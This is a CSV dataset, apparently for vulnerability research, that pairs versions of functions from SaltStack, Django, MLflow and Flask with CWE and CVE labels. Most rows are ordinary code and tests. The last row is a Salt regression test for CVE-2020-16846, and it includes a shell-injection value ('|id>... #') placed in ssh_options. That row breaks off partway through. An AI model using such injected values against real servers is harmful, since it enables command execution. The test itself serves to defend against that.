    for token in _cmd_split(env):
        try:
            var, val = token.split('=')
            environ[var] = val
        except Exception:
            pass  # if token != var=val, it's not a proper env anyway
    environ['RBENV_ROOT'] = path

    args = ' '.join([_cmd_quote(arg) for arg in _cmd_split(args)])

    result = __salt__['cmd.run_all'](
        '{0} {1} {2}'.format(binary, _cmd_quote(command), args),
        runas=runas,
        env=environ
    )

    if isinstance(ret, dict):
        ret.update(result)
        return ret

    if result['retcode'] == 0:
        return result['stdout']
    else:
        return False",CWE-703,saltstack/salt,fc04566f9ee285f26fab350f8e78ec149c151d9b,"def _rbenv_exec(command, args='', env=None, runas=None, ret=None):
    if not is_installed(runas):
        return False

    binary = _rbenv_bin(runas)
    path = _rbenv_path(runas)

    environ = {}
    for token in _cmd_split(env):
        try:
            var, val = token.split('=')
            environ[var] = val
        except:
            pass  # if token != var=val, it's not a proper env anyway
    environ['RBENV_ROOT'] = path

    args = ' '.join([_cmd_quote(arg) for arg in _cmd_split(args)])

    result = __salt__['cmd.run_all'](
        '{0} {1} {2}'.format(binary, _cmd_quote(command), args),
        runas=runas,
        env=environ
    )

    if isinstance(ret, dict):
        ret.update(result)
        return ret

    if result['retcode'] == 0:
        return result['stdout']
    else:
        return False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/file_store.py,0,"def _get_experiment_path(self, experiment_id, view_type=ViewType.ALL, assert_exists=False):
        parents = []
        if view_type == ViewType.ACTIVE_ONLY or view_type == ViewType.ALL:
            parents.append(self.root_directory)
        if view_type == ViewType.DELETED_ONLY or view_type == ViewType.ALL:
            parents.append(self.trash_folder)
        for parent in parents:
            exp_list = find(parent, experiment_id, full_path=True)
            if len(exp_list) > 0:
                return exp_list[0]
        if assert_exists:
            raise MlflowException(
                f""Experiment {experiment_id} does not exist."",
                databricks_pb2.RESOURCE_DOES_NOT_EXIST,
            )
        return None",,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def _get_experiment_path(self, experiment_id, view_type=ViewType.ALL, assert_exists=False):
        parents = []
        if view_type == ViewType.ACTIVE_ONLY or view_type == ViewType.ALL:
            parents.append(self.root_directory)
        if view_type == ViewType.DELETED_ONLY or view_type == ViewType.ALL:
            parents.append(self.trash_folder)
        for parent in parents:
            exp_list = find(parent, experiment_id, full_path=True)
            if len(exp_list) > 0:
                return exp_list[0]
        if assert_exists:
            raise MlflowException(
                ""Experiment {} does not exist."".format(experiment_id),
                databricks_pb2.RESOURCE_DOES_NOT_EXIST,
            )
        return None"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_pkgng.py,1,"def test_lock():
    """"""
    Test pkgng.lock
    """"""
    lock_cmd = MagicMock(return_value={""stdout"": ""pkga-1.0\npkgb-2.0\n"", ""retcode"": 0})
    with patch.dict(pkgng.__salt__, {""cmd.run_all"": lock_cmd}):

        result = pkgng.lock(""pkga"")
        assert result
        lock_cmd.assert_called_with(
            [""pkg"", ""lock"", ""-y"", ""--quiet"", ""--show-locked"", ""pkga""],
            output_loglevel=""trace"",
            python_shell=False,
        )

        result = pkgng.lock(""dummy"")
        assert not result
        lock_cmd.assert_called_with(
            [""pkg"", ""lock"", ""-y"", ""--quiet"", ""--show-locked"", ""dummy""],
            output_loglevel=""trace"",
            python_shell=False,
        )",CWE-703,saltstack/salt,536e103cc26b63c25d0a6537135fce175c55cdf6,"def test_lock():
    """"""
    Test pkgng.lock
    """"""
    lock_cmd = MagicMock(
        return_value={""stdout"": (""pkga-1.0\n"" ""pkgb-2.0\n""), ""retcode"": 0}
    )
    with patch.dict(pkgng.__salt__, {""cmd.run_all"": lock_cmd}):

        result = pkgng.lock(""pkga"")
        assert result
        lock_cmd.assert_called_with(
            [""pkg"", ""lock"", ""-y"", ""--quiet"", ""--show-locked"", ""pkga""],
            output_loglevel=""trace"",
            python_shell=False,
        )

        result = pkgng.lock(""dummy"")
        assert not result
        lock_cmd.assert_called_with(
            [""pkg"", ""lock"", ""-y"", ""--quiet"", ""--show-locked"", ""dummy""],
            output_loglevel=""trace"",
            python_shell=False,
        )"
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def set_up_test_model(
            self, app_label, second_model=False, third_model=False, index=False, multicol_index=False,
            related_model=False, mti_model=False, proxy_model=False, manager_model=False,
            unique_together=False, options=False, db_table=None, index_together=False, constraints=None):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        table_names = [
            # Start with ManyToMany tables
            '_pony_stables', '_pony_vans',
            # Then standard model tables
            '_pony', '_stable', '_van',
        ]
        tables = [(app_label + table_name) for table_name in table_names]
        with connection.cursor() as cursor:
            table_names = connection.introspection.table_names(cursor)
            connection.disable_constraint_checking()
            sql_delete_table = connection.schema_editor().sql_delete_table
            with transaction.atomic():
                for table in tables:
                    if table in table_names:
                        cursor.execute(sql_delete_table % {
                            ""table"": connection.ops.quote_name(table),
                        })
            connection.enable_constraint_checking()

        # Make the ""current"" state
        model_options = {
            ""swappable"": ""TEST_SWAP_MODEL"",
            ""index_together"": [[""weight"", ""pink""]] if index_together else [],
            ""unique_together"": [[""pink"", ""weight""]] if unique_together else [],
        }
        if options:
            model_options[""permissions""] = [(""can_groom"", ""Can groom"")]
        if db_table:
            model_options[""db_table""] = db_table
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options=model_options,
        )]
        if index:
            operations.append(migrations.AddIndex(
                ""Pony"",
                models.Index(fields=[""pink""], name=""pony_pink_idx"")
            ))
        if multicol_index:
            operations.append(migrations.AddIndex(
                ""Pony"",
                models.Index(fields=[""pink"", ""weight""], name=""pony_test_idx"")
            ))
        if constraints:
            for constraint in constraints:
                operations.append(migrations.AddConstraint(
                    ""Pony"",
                    constraint,
                ))
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"", models.CASCADE)),
                    (""friend"", models.ForeignKey(""self"", models.CASCADE))
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        'Pony',
                        models.CASCADE,
                        auto_created=True,
                        parent_link=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))
        if manager_model:
            operations.append(migrations.CreateModel(
                ""Food"",
                fields=[
                    (""id"", models.AutoField(primary_key=True)),
                ],
                managers=[
                    (""food_qs"", FoodQuerySet.as_manager()),
                    (""food_mgr"", FoodManager(""a"", ""b"")),
                    (""food_mgr_kwargs"", FoodManager(""x"", ""y"", 3, 4)),
                ]
            ))

        return self.apply_operations(app_label, ProjectState(), operations)",CWE-89,django/django,95bda03f2da15172cf342f13ba8a77c007b63fbb,"def set_up_test_model(
            self, app_label, second_model=False, third_model=False, index=False, multicol_index=False,
            related_model=False, mti_model=False, proxy_model=False, manager_model=False,
            unique_together=False, options=False, db_table=None, index_together=False, check_constraint=False):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        table_names = [
            # Start with ManyToMany tables
            '_pony_stables', '_pony_vans',
            # Then standard model tables
            '_pony', '_stable', '_van',
        ]
        tables = [(app_label + table_name) for table_name in table_names]
        with connection.cursor() as cursor:
            table_names = connection.introspection.table_names(cursor)
            connection.disable_constraint_checking()
            sql_delete_table = connection.schema_editor().sql_delete_table
            with transaction.atomic():
                for table in tables:
                    if table in table_names:
                        cursor.execute(sql_delete_table % {
                            ""table"": connection.ops.quote_name(table),
                        })
            connection.enable_constraint_checking()

        # Make the ""current"" state
        model_options = {
            ""swappable"": ""TEST_SWAP_MODEL"",
            ""index_together"": [[""weight"", ""pink""]] if index_together else [],
            ""unique_together"": [[""pink"", ""weight""]] if unique_together else [],
        }
        if options:
            model_options[""permissions""] = [(""can_groom"", ""Can groom"")]
        if db_table:
            model_options[""db_table""] = db_table
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options=model_options,
        )]
        if index:
            operations.append(migrations.AddIndex(
                ""Pony"",
                models.Index(fields=[""pink""], name=""pony_pink_idx"")
            ))
        if multicol_index:
            operations.append(migrations.AddIndex(
                ""Pony"",
                models.Index(fields=[""pink"", ""weight""], name=""pony_test_idx"")
            ))
        if check_constraint:
            operations.append(migrations.AddConstraint(
                ""Pony"",
                models.CheckConstraint(check=models.Q(pink__gt=2), name=""pony_test_constraint"")
            ))
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"", models.CASCADE)),
                    (""friend"", models.ForeignKey(""self"", models.CASCADE))
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        'Pony',
                        models.CASCADE,
                        auto_created=True,
                        parent_link=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))
        if manager_model:
            operations.append(migrations.CreateModel(
                ""Food"",
                fields=[
                    (""id"", models.AutoField(primary_key=True)),
                ],
                managers=[
                    (""food_qs"", FoodQuerySet.as_manager()),
                    (""food_mgr"", FoodManager(""a"", ""b"")),
                    (""food_mgr_kwargs"", FoodManager(""x"", ""y"", 3, 4)),
                ]
            ))

        return self.apply_operations(app_label, ProjectState(), operations)"
functions_for_django_with_cwe.csv,CVE-2019-14232,UNKNOWN,tests/utils_tests/test_text.py,0,"def test_truncate_chars(self):
        truncator = text.Truncator('The quick brown fox jumped over the lazy dog.')
        self.assertEqual('The quick brown fox jumped over the lazy dog.', truncator.chars(100)),
        self.assertEqual('The quick brown fox …', truncator.chars(21)),
        self.assertEqual('The quick brown fo.....', truncator.chars(23, '.....')),

        nfc = text.Truncator('o\xfco\xfco\xfco\xfc')
        nfd = text.Truncator('ou\u0308ou\u0308ou\u0308ou\u0308')
        self.assertEqual('oüoüoüoü', nfc.chars(8))
        self.assertEqual('oüoüoüoü', nfd.chars(8))
        self.assertEqual('oü…', nfc.chars(3))
        self.assertEqual('oü…', nfd.chars(3))

        # Ensure the final length is calculated correctly when there are
        # combining characters with no precomposed form, and that combining
        # characters are not split up.
        truncator = text.Truncator('-B\u030AB\u030A----8')
        self.assertEqual('-B\u030A…', truncator.chars(3))
        self.assertEqual('-B\u030AB\u030A-…', truncator.chars(5))
        self.assertEqual('-B\u030AB\u030A----8', truncator.chars(8))

        # Ensure the length of the end text is correctly calculated when it
        # contains combining characters with no precomposed form.
        truncator = text.Truncator('-----')
        self.assertEqual('---B\u030A', truncator.chars(4, 'B\u030A'))
        self.assertEqual('-----', truncator.chars(5, 'B\u030A'))

        # Make a best effort to shorten to the desired length, but requesting
        # a length shorter than the ellipsis shouldn't break
        self.assertEqual('…', text.Truncator('asdf').chars(0))
        # lazy strings are handled correctly
        self.assertEqual(text.Truncator(lazystr('The quick brown fox')).chars(10), 'The quick…')",CWE-Unknown,django/django,c3289717c6f21a8cf23daff1c78c0c014b94041f,"def test_truncate_chars(self):
        truncator = text.Truncator('The quick brown fox jumped over the lazy dog.')
        self.assertEqual('The quick brown fox jumped over the lazy dog.', truncator.chars(100)),
        self.assertEqual('The quick brown fox …', truncator.chars(21)),
        self.assertEqual('The quick brown fo.....', truncator.chars(23, '.....')),

        nfc = text.Truncator('o\xfco\xfco\xfco\xfc')
        nfd = text.Truncator('ou\u0308ou\u0308ou\u0308ou\u0308')
        self.assertEqual('oüoüoüoü', nfc.chars(8))
        self.assertEqual('oüoüoüoü', nfd.chars(8))
        self.assertEqual('oü…', nfc.chars(3))
        self.assertEqual('oü…', nfd.chars(3))

        # Ensure the final length is calculated correctly when there are
        # combining characters with no precomposed form, and that combining
        # characters are not split up.
        truncator = text.Truncator('-B\u030AB\u030A----8')
        self.assertEqual('-B\u030A…', truncator.chars(3))
        self.assertEqual('-B\u030AB\u030A-…', truncator.chars(5))
        self.assertEqual('-B\u030AB\u030A----8', truncator.chars(8))

        # Ensure the length of the end text is correctly calculated when it
        # contains combining characters with no precomposed form.
        truncator = text.Truncator('-----')
        self.assertEqual('---B\u030A', truncator.chars(4, 'B\u030A'))
        self.assertEqual('-----', truncator.chars(5, 'B\u030A'))

        # Make a best effort to shorten to the desired length, but requesting
        # a length shorter than the ellipsis shouldn't break
        self.assertEqual('…', text.Truncator('asdf').chars(0))
        # lazy strings are handled correctly
        self.assertEqual(text.Truncator(lazystr('The quick brown fox')).chars(10), 'The quick…')"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/template/backends/django.py,0,"def render(self, context=None, request=None):
        context = make_context(context, request, autoescape=self.backend.engine.autoescape)
        try:
            return self.template.render(context)
        except TemplateDoesNotExist as exc:
            reraise(exc, self.backend)",CWE-Unknown,django/django,ecb59cc6579402b68ddfd4499bf30edacf5963be,"def render(self, context=None, request=None):
        context = make_context(context, request, autoescape=self.backend.engine.autoescape)
        try:
            return self.template.render(context)
        except TemplateDoesNotExist as exc:
            reraise(exc, self.backend)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/__init__.py,0,"def run_map(self, dmap):
        '''
        Execute the contents of the VM map
        '''
        if self._has_loop(dmap):
            msg = 'Uh-oh, that cloud map has a dependency loop!'
            log.error(msg)
            raise SaltCloudException(msg)
        #Go through the create list and calc dependencies
        for key, val in dmap['create'].items():
            log.info('Calculating dependencies for {0}'.format(key))
            level = 0
            level = self._calcdep(dmap, key, val, level)
            log.debug('Got execution order {0} for {1}'.format(level, key))
            dmap['create'][key]['level'] = level

        try:
            existing_list = dmap['existing'].items()
        except KeyError:
            existing_list = {}

        for key, val in existing_list:
            log.info('Calculating dependencies for {0}'.format(key))
            level = 0
            level = self._calcdep(dmap, key, val, level)
            log.debug('Got execution order {0} for {1}'.format(level, key))
            dmap['existing'][key]['level'] = level

        #Now sort the create list based on dependencies
        create_list = sorted(dmap['create'].items(),
                             key=lambda x: x[1]['level'])
        output = {}
        if self.opts['parallel']:
            parallel_data = []
        master_name = None
        master_minion_name = None
        master_host = None
        master_finger = None
        try:
            master_name, master_profile = (
                (name, profile) for name, profile in create_list
                if profile.get('make_master', False) is True
            ).next()
            master_minion_name = master_name
            log.debug('Creating new master {0!r}'.format(master_name))
            if salt.config.get_cloud_config_value('deploy',
                                       master_profile,
                                       self.opts) is False:
                raise SaltCloudSystemExit(
                    'Cannot proceed with \'make_master\' when salt deployment '
                    'is disabled(ex: --no-deploy).'
                )

            # Generate the master keys
            log.debug(
                'Generating master keys for {0[name]!r}'.format(master_profile)
            )
            priv, pub = salt.utils.cloud.gen_keys(
                salt.config.get_cloud_config_value('keysize', master_profile, self.opts)
            )
            master_profile['master_pub'] = pub
            master_profile['master_pem'] = priv

            # Generate the fingerprint of the master pubkey in order to
            # mitigate man-in-the-middle attacks
            master_temp_pub = salt.utils.mkstemp()
            with salt.utils.fopen(master_temp_pub, 'w') as mtp:
                mtp.write(pub)
            master_finger = salt.utils.pem_finger(master_temp_pub)
            os.unlink(master_temp_pub)

            if master_profile.get('make_minion', True) is True:
                master_profile.setdefault('minion', {})
                if 'id' in master_profile['minion']:
                    master_minion_name = master_profile['minion']['id']
                # Set this minion's master as local if the user has not set it
                if 'master' not in master_profile['minion']:
                    master_profile['minion']['master'] = '127.0.0.1'
                    if master_finger is not None:
                        master_profile['master_finger'] = master_finger

            # Generate the minion keys to pre-seed the master:
            for name, profile in create_list:
                make_minion = salt.config.get_cloud_config_value(
                    'make_minion', profile, self.opts, default=True
                )
                if make_minion is False:
                    continue

                log.debug(
                    'Generating minion keys for {0[name]!r}'.format(profile)
                )
                priv, pub = salt.utils.cloud.gen_keys(
                    salt.config.get_cloud_config_value('keysize', profile, self.opts)
                )
                profile['pub_key'] = pub
                profile['priv_key'] = priv
                # Store the minion's public key in order to be pre-seeded in
                # the master
                master_profile.setdefault('preseed_minion_keys', {})
                master_profile['preseed_minion_keys'].update({name: pub})

            local_master = False
            if master_profile['minion'].get('local_master', False) and \
                    master_profile['minion'].get('master', None) is not None:
                # The minion is explicitly defining a master and it's
                # explicitely saying it's the local one
                local_master = True

            out = self.create(master_profile, local_master=local_master)

            if not isinstance(out, dict):
                log.debug(
                    'Master creation details is not a dictionary: {0}'.format(
                        out
                    )
                )

            elif 'Errors' in out:
                raise SaltCloudSystemExit(
                    'An error occurred while creating the master, not '
                    'continuing: {0}'.format(out['Errors'])
                )

            deploy_kwargs = (
                self.opts.get('show_deploy_args', False) is True and
                # Get the needed data
                out.get('deploy_kwargs', {}) or
                # Strip the deploy_kwargs from the returned data since we don't
                # want it shown in the console.
                out.pop('deploy_kwargs', {})
            )

            master_host = deploy_kwargs.get('host', None)
            if master_host is None:
                raise SaltCloudSystemExit(
                    'Host for new master {0} was not found, '
                    'aborting map'.format(
                        master_name
                    )
                )
            output[master_name] = out
        except StopIteration:
            log.debug('No make_master found in map')
            # Local master?
            # Generate the fingerprint of the master pubkey in order to
            # mitigate man-in-the-middle attacks
            master_pub = os.path.join(self.opts['pki_dir'], 'master.pub')
            if os.path.isfile(master_pub):
                master_finger = salt.utils.pem_finger(master_pub)

        opts = self.opts.copy()
        if self.opts['parallel']:
            # Force display_ssh_output to be False since the console will
            # need to be reset afterwards
            log.info(
                'Since parallel deployment is in use, ssh console output '
                'is disabled. All ssh output will be logged though'
            )
            opts['display_ssh_output'] = False

        local_master = master_name is None

        for name, profile in create_list:
            if name in (master_name, master_minion_name):
                # Already deployed, it's the master's minion
                continue

            if profile['minion'].get('local_master', False) and \
                    profile['minion'].get('master', None) is not None:
                # The minion is explicitly defining a master and it's
                # explicitely saying it's the local one
                local_master = True

            if master_finger is not None and local_master is False:
                profile['master_finger'] = master_finger

            if master_host is not None:
                profile.setdefault('minion', {})
                profile['minion'].setdefault('master', master_host)

            if self.opts['parallel']:
                parallel_data.append({
                    'opts': opts,
                    'name': name,
                    'profile': profile,
                    'local_master': local_master
                })
                continue

            # Not deploying in parallel
            try:
                output[name] = self.create(
                    profile, local_master=local_master
                )
                if self.opts.get('show_deploy_args', False) is False:
                    output[name].pop('deploy_kwargs', None)
            except SaltCloudException as exc:
                log.error(
                    'Failed to deploy {0!r}. Error: {1}'.format(
                        name, exc
                    ),
                    # Show the traceback if the debug logging level is enabled
                    exc_info=log.isEnabledFor(logging.DEBUG)
                )
                output[name] = {'Error': str(exc)}

        for name in dmap.get('destroy', ()):
            output[name] = self.destroy(name)

        if self.opts['parallel'] and len(parallel_data) > 0:
            if 'pool_size' in self.opts:
                pool_size = self.opts['pool_size']
            else:
                pool_size = len(parallel_data)
            log.info('Cloud pool size: {0}'.format(pool_size))
            output_multip = multiprocessing.Pool(pool_size).map(
                func=create_multiprocessing,
                iterable=parallel_data
            )
            # We have deployed in parallel, now do start action in
            # correct order based on dependencies.
            if self.opts['start_action']:
                actionlist = []
                grp = -1
                for key, val in groupby(dmap['create'].values(),
                                        lambda x: x['level']):
                    actionlist.append([])
                    grp += 1
                    for item in val:
                        actionlist[grp].append(item['name'])

                out = {}
                for group in actionlist:
                    log.info(
                        'Running {0} on {1}'.format(
                            self.opts['start_action'], ', '.join(group)
                        )
                    )
                    client = salt.client.LocalClient()
                    out.update(client.cmd(
                        ','.join(group), self.opts['start_action'],
                        timeout=self.opts['timeout'] * 60, expr_form='list'
                    ))
                for obj in output_multip:
                    obj.values()[0]['ret'] = out[obj.keys()[0]]
                    output.update(obj)
            else:
                for obj in output_multip:
                    output.update(obj)

        return output",,saltstack/salt,b046a6f4b163f94514c42702f92efbe9920d5539,"def run_map(self, dmap):
        '''
        Execute the contents of the VM map
        '''
        if self._has_loop(dmap):
            msg = 'Uh-oh, that cloud map has a dependency loop!'
            log.error(msg)
            raise SaltCloudException(msg)
        #Go through the create list and calc dependencies
        for key, val in dmap['create'].items():
            log.info('Calculating dependencies for {0}'.format(key))
            level = 0
            level = self._calcdep(dmap, key, val, level)
            log.debug('Got execution order {0} for {1}'.format(level, key))
            dmap['create'][key]['level'] = level

        try:
            existing_list = dmap['existing'].items()
        except KeyError:
            existing_list = {}

        for key, val in existing_list:
            log.info('Calculating dependencies for {0}'.format(key))
            level = 0
            level = self._calcdep(dmap, key, val, level)
            log.debug('Got execution order {0} for {1}'.format(level, key))
            dmap['existing'][key]['level'] = level

        #Now sort the create list based on dependencies
        create_list = sorted(dmap['create'].items(),
                             key=lambda x: x[1]['level'])
        output = {}
        if self.opts['parallel']:
            parallel_data = []
        master_name = None
        master_host = None
        master_finger = None
        try:
            master_name, master_profile = (
                (name, profile) for name, profile in create_list
                if profile.get('make_master', False) is True
            ).next()
            master_minion_name = master_name
            log.debug('Creating new master {0!r}'.format(master_name))
            if salt.config.get_cloud_config_value('deploy',
                                       master_profile,
                                       self.opts) is False:
                raise SaltCloudSystemExit(
                    'Cannot proceed with \'make_master\' when salt deployment '
                    'is disabled(ex: --no-deploy).'
                )

            # Generate the master keys
            log.debug(
                'Generating master keys for {0[name]!r}'.format(master_profile)
            )
            priv, pub = salt.utils.cloud.gen_keys(
                salt.config.get_cloud_config_value('keysize', master_profile, self.opts)
            )
            master_profile['master_pub'] = pub
            master_profile['master_pem'] = priv

            # Generate the fingerprint of the master pubkey in order to
            # mitigate man-in-the-middle attacks
            master_temp_pub = salt.utils.mkstemp()
            with salt.utils.fopen(master_temp_pub, 'w') as mtp:
                mtp.write(pub)
            master_finger = salt.utils.pem_finger(master_temp_pub)
            os.unlink(master_temp_pub)

            if master_profile.get('make_minion', True) is True:
                master_profile.setdefault('minion', {})
                if 'id' in master_profile['minion']:
                    master_minion_name = master_profile['minion']['id']
                # Set this minion's master as local if the user has not set it
                if 'master' not in master_profile['minion']:
                    master_profile['minion']['master'] = '127.0.0.1'
                    if master_finger is not None:
                        master_profile['master_finger'] = master_finger

            # Generate the minion keys to pre-seed the master:
            for name, profile in create_list:
                make_minion = salt.config.get_cloud_config_value(
                    'make_minion', profile, self.opts, default=True
                )
                if make_minion is False:
                    continue

                log.debug(
                    'Generating minion keys for {0[name]!r}'.format(profile)
                )
                priv, pub = salt.utils.cloud.gen_keys(
                    salt.config.get_cloud_config_value('keysize', profile, self.opts)
                )
                profile['pub_key'] = pub
                profile['priv_key'] = priv
                # Store the minion's public key in order to be pre-seeded in
                # the master
                master_profile.setdefault('preseed_minion_keys', {})
                master_profile['preseed_minion_keys'].update({name: pub})

            local_master = False
            if master_profile['minion'].get('local_master', False) and \
                    master_profile['minion'].get('master', None) is not None:
                # The minion is explicitly defining a master and it's
                # explicitely saying it's the local one
                local_master = True

            out = self.create(master_profile, local_master=local_master)

            if not isinstance(out, dict):
                log.debug(
                    'Master creation details is not a dictionary: {0}'.format(
                        out
                    )
                )

            elif 'Errors' in out:
                raise SaltCloudSystemExit(
                    'An error occurred while creating the master, not '
                    'continuing: {0}'.format(out['Errors'])
                )

            deploy_kwargs = (
                self.opts.get('show_deploy_args', False) is True and
                # Get the needed data
                out.get('deploy_kwargs', {}) or
                # Strip the deploy_kwargs from the returned data since we don't
                # want it shown in the console.
                out.pop('deploy_kwargs', {})
            )

            master_host = deploy_kwargs.get('host', None)
            if master_host is None:
                raise SaltCloudSystemExit(
                    'Host for new master {0} was not found, '
                    'aborting map'.format(
                        master_name
                    )
                )
            output[master_name] = out
        except StopIteration:
            log.debug('No make_master found in map')
            # Local master?
            # Generate the fingerprint of the master pubkey in order to
            # mitigate man-in-the-middle attacks
            master_pub = os.path.join(self.opts['pki_dir'], 'master.pub')
            if os.path.isfile(master_pub):
                master_finger = salt.utils.pem_finger(master_pub)

        opts = self.opts.copy()
        if self.opts['parallel']:
            # Force display_ssh_output to be False since the console will
            # need to be reset afterwards
            log.info(
                'Since parallel deployment is in use, ssh console output '
                'is disabled. All ssh output will be logged though'
            )
            opts['display_ssh_output'] = False

        local_master = master_name is None

        for name, profile in create_list:
            if name in (master_name, master_minion_name):
                # Already deployed, it's the master's minion
                continue

            if profile['minion'].get('local_master', False) and \
                    profile['minion'].get('master', None) is not None:
                # The minion is explicitly defining a master and it's
                # explicitely saying it's the local one
                local_master = True

            if master_finger is not None and local_master is False:
                profile['master_finger'] = master_finger

            if master_host is not None:
                profile.setdefault('minion', {})
                profile['minion'].setdefault('master', master_host)

            if self.opts['parallel']:
                parallel_data.append({
                    'opts': opts,
                    'name': name,
                    'profile': profile,
                    'local_master': local_master
                })
                continue

            # Not deploying in parallel
            try:
                output[name] = self.create(
                    profile, local_master=local_master
                )
                if self.opts.get('show_deploy_args', False) is False:
                    output[name].pop('deploy_kwargs', None)
            except SaltCloudException as exc:
                log.error(
                    'Failed to deploy {0!r}. Error: {1}'.format(
                        name, exc
                    ),
                    # Show the traceback if the debug logging level is enabled
                    exc_info=log.isEnabledFor(logging.DEBUG)
                )
                output[name] = {'Error': str(exc)}

        for name in dmap.get('destroy', ()):
            output[name] = self.destroy(name)

        if self.opts['parallel'] and len(parallel_data) > 0:
            if 'pool_size' in self.opts:
                pool_size = self.opts['pool_size']
            else:
                pool_size = len(parallel_data)
            log.info('Cloud pool size: {0}'.format(pool_size))
            output_multip = multiprocessing.Pool(pool_size).map(
                func=create_multiprocessing,
                iterable=parallel_data
            )
            # We have deployed in parallel, now do start action in
            # correct order based on dependencies.
            if self.opts['start_action']:
                actionlist = []
                grp = -1
                for key, val in groupby(dmap['create'].values(),
                                        lambda x: x['level']):
                    actionlist.append([])
                    grp += 1
                    for item in val:
                        actionlist[grp].append(item['name'])

                out = {}
                for group in actionlist:
                    log.info(
                        'Running {0} on {1}'.format(
                            self.opts['start_action'], ', '.join(group)
                        )
                    )
                    client = salt.client.LocalClient()
                    out.update(client.cmd(
                        ','.join(group), self.opts['start_action'],
                        timeout=self.opts['timeout'] * 60, expr_form='list'
                    ))
                for obj in output_multip:
                    obj.values()[0]['ret'] = out[obj.keys()[0]]
                    output.update(obj)
            else:
                for obj in output_multip:
                    output.update(obj)

        return output"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/evaluate/test_default_evaluator.py,0,"def test_evaluate_errors_invalid_pos_label():
    data = pd.DataFrame({""target"": [0, 0, 1, 0], ""prediction"": [0, 1, 0, 0]})
    with pytest.raises(MlflowException, match=r""'pos_label' 1 must exist in 'label_list'""):
        mlflow.evaluate(
            data=data,
            model_type=""classifier"",
            targets=""target"",
            predictions=""prediction"",
            evaluator_config={""default"": {""pos_label"": 1, ""label_list"": [0]}},
        )",,mlflow/mlflow,b658bc20e3c9d1400cdc6e13c01ec59fec1ac4d1,"def test_evaluate_errors_invalid_pos_label():
    data = pd.DataFrame({""target"": [0, 0, 1, 0], ""prediction"": [0, 1, 0, 0]})
    with pytest.raises(MlflowException, match=r""'pos_label' 1 must exist in 'label_list'""):
        mlflow.evaluate(
            data=data,
            model_type=""classifier"",
            targets=""target"",
            predictions=""prediction"",
            evaluator_config={""default"": {""pos_label"": 1, ""label_list"": [0]}},
        )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_config.py,0,"def test_config_from_file():
    app = flask.Flask(__name__)
    current_dir = os.path.dirname(os.path.abspath(__file__))
    app.config.from_file(os.path.join(current_dir, ""static"", ""config.json""), json.load)
    common_object_test(app)",,pallets/flask,4eb5e9455b2a8f15f3dc5065a47f8e43ac47e539,"def test_config_from_file():
    app = flask.Flask(__name__)
    current_dir = os.path.dirname(os.path.abspath(__file__))
    app.config.from_file(os.path.join(current_dir, ""static"", ""config.json""), json.load)
    common_object_test(app)"
,UNKNOWN,UNKNOWN,tests/pytests/integration/netapi/test_ssh_client.py,1,"def test_shell_inject_ssh_options(
    client, salt_ssh_roster_file, tmp_path, salt_auto_account
):
    """"""
    Verify CVE-2020-16846 for ssh_options
    """"""
    # ZDI-CAN-11169
    path = tmp_path / ""test-11169""
    low = {
        ""roster"": ""cache"",
        ""client"": ""ssh"",
        ""tgt"": ""127.0.0.1"",
        ""renderer"": ""jinja|yaml"",
        ""fun"": ""test.ping"",
        ""eauth"": ""auto"",
        ""username"": salt_auto_account.username,
        ""password"": salt_auto_account.password,
        ""roster_file"": str(salt_ssh_roster_file),
        ""rosters"": ""/"",
        ""ssh_options"": [f""|id>{path} #"", ""lol""],
    }
    ret = client.run(low)
    assert path.exists() is False
    assert (
        ""Bad configuration option"" in ret[""127.0.0.1""]
        or ""no argument after keyword"" in ret[""127.0.0.1""]
    )",CWE-703,saltstack/salt,9f1ae6982d6fba5ec9615d1c209b93c3ec06b138,"def test_shell_inject_ssh_options(
    client, salt_ssh_roster_file, tmp_path, salt_auto_account
):
    """"""
